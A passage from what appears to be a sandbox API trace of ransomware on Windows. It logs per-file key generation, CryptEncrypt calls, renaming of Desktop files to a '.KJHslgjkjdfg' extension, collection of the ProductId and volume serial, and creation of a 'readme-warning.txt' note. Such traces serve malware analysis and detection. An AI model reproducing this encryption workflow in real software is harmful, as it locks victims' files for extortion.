dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.843] GetProcessHeap () returned 0x2ef0000 [0145.843] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.845] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.845] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.845] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0x7, lpOverlapped=0x0) returned 1 [0145.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.847] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.847] GetProcessHeap () returned 0x2ef0000 [0145.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.847] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff768*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff768*=0x40) returned 1 [0145.847] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.847] WriteFile (in: hFile=0x128, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff780*=0x40, lpOverlapped=0x0) returned 1 [0145.847] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.847] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.848] WriteFile (in: hFile=0x128, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.848] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.848] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.848] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.848] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.848] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xab39, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0xab39, lpOverlapped=0x0) returned 1 [0145.849] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xab40, dwBufLen=0xab40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xab40) returned 1 [0145.850] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.850] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xab40, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0xab40, lpOverlapped=0x0) returned 1 [0145.850] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.850] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xac14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.850] SetEndOfFile (hFile=0x128) returned 1 [0145.854] GetProcessHeap () returned 0x2ef0000 [0145.854] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.854] GetProcessHeap () returned 0x2ef0000 [0145.854] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.854] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\Rgif5jt_-aWx.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\rgif5jt_-awx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\Rgif5jt_-aWx.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\rgif5jt_-awx.m4a.kjhslgjkjdfg")) returned 1 [0145.855] CloseHandle (hObject=0x128) returned 1 [0145.855] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85b710, ftCreationTime.dwHighDateTime=0x1d5d9dd, ftLastAccessTime.dwLowDateTime=0xc46fca70, ftLastAccessTime.dwHighDateTime=0x1d5e2e0, ftLastWriteTime.dwLowDateTime=0xc46fca70, ftLastWriteTime.dwHighDateTime=0x1d5e2e0, nFileSizeHigh=0x0, nFileSizeLow=0xf3a4, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="UC78.pptx", cAlternateFileName="UC78~1.PPT")) returned 1 [0145.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\UC78.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\uc78.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.855] GetProcessHeap () returned 0x2ef0000 [0145.855] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.855] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.855] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.855] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0xc, lpOverlapped=0x0) returned 1 [0145.858] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.858] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.858] GetProcessHeap () returned 0x2ef0000 [0145.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0145.858] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30) returned 1 [0145.858] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.858] WriteFile (in: hFile=0x128, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff780*=0x30, lpOverlapped=0x0) returned 1 [0145.858] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.858] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.859] WriteFile (in: hFile=0x128, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.859] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.859] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.859] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.859] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.859] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.859] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf3a4, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0xf3a4, lpOverlapped=0x0) returned 1 [0145.863] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xf3b0, dwBufLen=0xf3b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xf3b0) returned 1 [0145.864] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf3b0, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0xf3b0, lpOverlapped=0x0) returned 1 [0145.864] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.865] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xf474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.865] SetEndOfFile (hFile=0x128) returned 1 [0145.868] GetProcessHeap () returned 0x2ef0000 [0145.868] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.868] GetProcessHeap () returned 0x2ef0000 [0145.868] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.868] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\UC78.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\uc78.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\UC78.pptx.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\uc78.pptx.kjhslgjkjdfg")) returned 1 [0145.869] CloseHandle (hObject=0x128) returned 1 [0145.869] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06fc650, ftCreationTime.dwHighDateTime=0x1d5df5a, ftLastAccessTime.dwLowDateTime=0x4a66a5a0, ftLastAccessTime.dwHighDateTime=0x1d5d980, ftLastWriteTime.dwLowDateTime=0x4a66a5a0, ftLastWriteTime.dwHighDateTime=0x1d5d980, nFileSizeHigh=0x0, nFileSizeLow=0x786e, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="YDCKYS8ZcRSo5JGJ.png", cAlternateFileName="YDCKYS~1.PNG")) returned 1 [0145.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\YDCKYS8ZcRSo5JGJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\ydckys8zcrso5jgj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.870] GetProcessHeap () returned 0x2ef0000 [0145.870] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.870] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.870] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.870] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0x2, lpOverlapped=0x0) returned 1 [0145.872] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.872] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.872] GetProcessHeap () returned 0x2ef0000 [0145.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0145.872] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff768*=0x50) returned 1 [0145.873] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.873] WriteFile (in: hFile=0x128, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff780*=0x50, lpOverlapped=0x0) returned 1 [0145.873] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.873] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.873] WriteFile (in: hFile=0x128, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.873] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.873] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.873] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.873] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.873] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.873] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x786e, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0x786e, lpOverlapped=0x0) returned 1 [0145.874] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x7870, dwBufLen=0x7870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0x7870) returned 1 [0145.875] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7870, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0x7870, lpOverlapped=0x0) returned 1 [0145.875] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.875] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.875] SetEndOfFile (hFile=0x128) returned 1 [0145.879] GetProcessHeap () returned 0x2ef0000 [0145.879] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0145.879] GetProcessHeap () returned 0x2ef0000 [0145.879] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.879] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\YDCKYS8ZcRSo5JGJ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\ydckys8zcrso5jgj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\YDCKYS8ZcRSo5JGJ.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\ydckys8zcrso5jgj.png.kjhslgjkjdfg")) returned 1 [0145.879] CloseHandle (hObject=0x128) returned 1 [0145.879] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06fc650, ftCreationTime.dwHighDateTime=0x1d5df5a, ftLastAccessTime.dwLowDateTime=0x4a66a5a0, ftLastAccessTime.dwHighDateTime=0x1d5d980, ftLastWriteTime.dwLowDateTime=0x4a66a5a0, ftLastWriteTime.dwHighDateTime=0x1d5d980, nFileSizeHigh=0x0, nFileSizeLow=0x786e, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="YDCKYS8ZcRSo5JGJ.png", cAlternateFileName="YDCKYS~1.PNG")) returned 0 [0145.880] GetProcessHeap () returned 0x2ef0000 [0145.880] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.880] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff550, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.880] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff5b8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff5b8) returned 1 [0145.880] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.880] GetProcessHeap () returned 0x2ef0000 [0145.880] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0145.880] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff550, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.880] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff5b8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff5b8) returned 1 [0145.880] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.880] GetProcessHeap () returned 0x2ef0000 [0145.880] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f16cd8 [0145.880] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff550, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.880] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16cd8, pdwDataLen=0x4dff5b8 | out: pbData=0x2f16cd8, pdwDataLen=0x4dff5b8) returned 1 [0145.880] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.880] GetProcessHeap () returned 0x2ef0000 [0145.880] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0145.880] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff128, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.880] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dff198 | out: pbData=0x2f0c928, pdwDataLen=0x4dff198) returned 1 [0145.881] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.881] GetProcessHeap () returned 0x2ef0000 [0145.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0145.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff128, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.881] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dff198 | out: pbData=0x2f11778, pdwDataLen=0x4dff198) returned 1 [0145.881] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.881] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dff194 | out: phkResult=0x4dff194*=0x128) returned 0x0 [0145.881] RegQueryValueExA (in: hKey=0x128, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dff1a0, lpcbData=0x4dff19c*=0x400 | out: lpType=0x0, lpData=0x4dff1a0*=0x30, lpcbData=0x4dff19c*=0x18) returned 0x0 [0145.881] RegCloseKey (hKey=0x128) returned 0x0 [0145.881] GetProcessHeap () returned 0x2ef0000 [0145.881] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0145.881] GetProcessHeap () returned 0x2ef0000 [0145.881] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0145.881] GetProcessHeap () returned 0x2ef0000 [0145.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0145.882] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfef08, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f12358) returned 1 [0145.882] CryptDecrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef6c | out: pbData=0x2f11778, pdwDataLen=0x4dfef6c) returned 1 [0145.882] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.882] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfef70, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.882] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfef68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfef68*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.882] GetProcessHeap () returned 0x2ef0000 [0145.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0145.882] wsprintfA (in: param_1=0x4dff1b7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.882] wsprintfA (in: param_1=0x4dff5c4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.882] GetProcessHeap () returned 0x2ef0000 [0145.883] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3c268 [0145.883] wsprintfW (in: param_1=0x4dfe594, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\readme-warning.txt") returned 86 [0145.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.883] WriteFile (in: hFile=0x128, lpBuffer=0x2f3c268*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe590, lpOverlapped=0x0 | out: lpBuffer=0x2f3c268*, 